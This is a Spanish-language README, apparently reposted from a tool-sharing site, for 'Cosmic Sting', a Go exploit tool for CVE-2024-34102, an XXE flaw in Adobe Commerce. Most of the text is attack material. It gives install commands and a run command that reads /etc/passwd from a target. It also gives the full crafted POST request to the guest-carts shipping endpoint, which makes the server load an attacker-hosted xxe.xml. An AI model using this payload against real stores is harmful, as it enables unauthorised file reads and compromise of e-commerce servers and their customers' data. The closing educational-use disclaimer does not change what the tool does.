Cosmic Sting: Explotador de CVE-2024-34102

Cosmic Sting es una herramienta basada en Go diseñada para explotar CVE-2024-34102, una vulnerabilidad de ejecución remota de código.

Detalle de CVE-2024-34102

Las versiones de Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 y anteriores se ven afectadas por una vulnerabilidad de restricción inadecuada de referencia a entidades externas XML ('XXE') que podría provocar la ejecución arbitraria de código. Un atacante podría explotar esta vulnerabilidad enviando un documento XML manipulado que haga referencia a entidades externas. La explotación de este problema no requiere interacción del usuario.

Requisitos previos

• Go (1.16 o superior)

Instalación

1. Clona el repositorio:

   root@kitploit:~

   git clone https://github.com/bughuntar/CVE-2024-34102.git &&
   cd CVE-2024-34102
   

2. Instala las dependencias (si las hay):

   root@kitploit:~

   go version &&
   go mod init cosmic_sting &&
   go get github.com/fatih/color &&
   go get github.com/google/uuid &&
   go get github.com/urfave/cli/v2
   

URL única

Para ejecutar la herramienta con una sola URL:

go run cosmic_sting.go -u "http://example.com" -f "/etc/passwd"

Opciones

• -u, --url : URL única a explotar.
• -f, --file : Archivo a leer mediante SSRF.
• -l, --list : Archivo que contiene una lista de URLs a explotar.

Solicitud POST del archivo DTD XML manipulado:

POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/json
Content-Length: 187

{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"https://{{hostedXMLfile.com}}/xxe.xml","dataIsURL":true,"options":1234}}}}}}

Licencia

Este proyecto no tiene licencia, solo se realizó como proyecto personal.

Contribuciones

¡Las contribuciones son bienvenidas! Por favor, abre un issue o envía un pull request para cualquier cambio.

Descargo de responsabilidad

Esta herramienta está destinada únicamente a fines educativos. Úsala de forma responsable y solo en sistemas en los que tengas permiso para realizar pruebas.

Autor

Professor the Hunter --> Sígueme en Twitter

CVE-2024-34102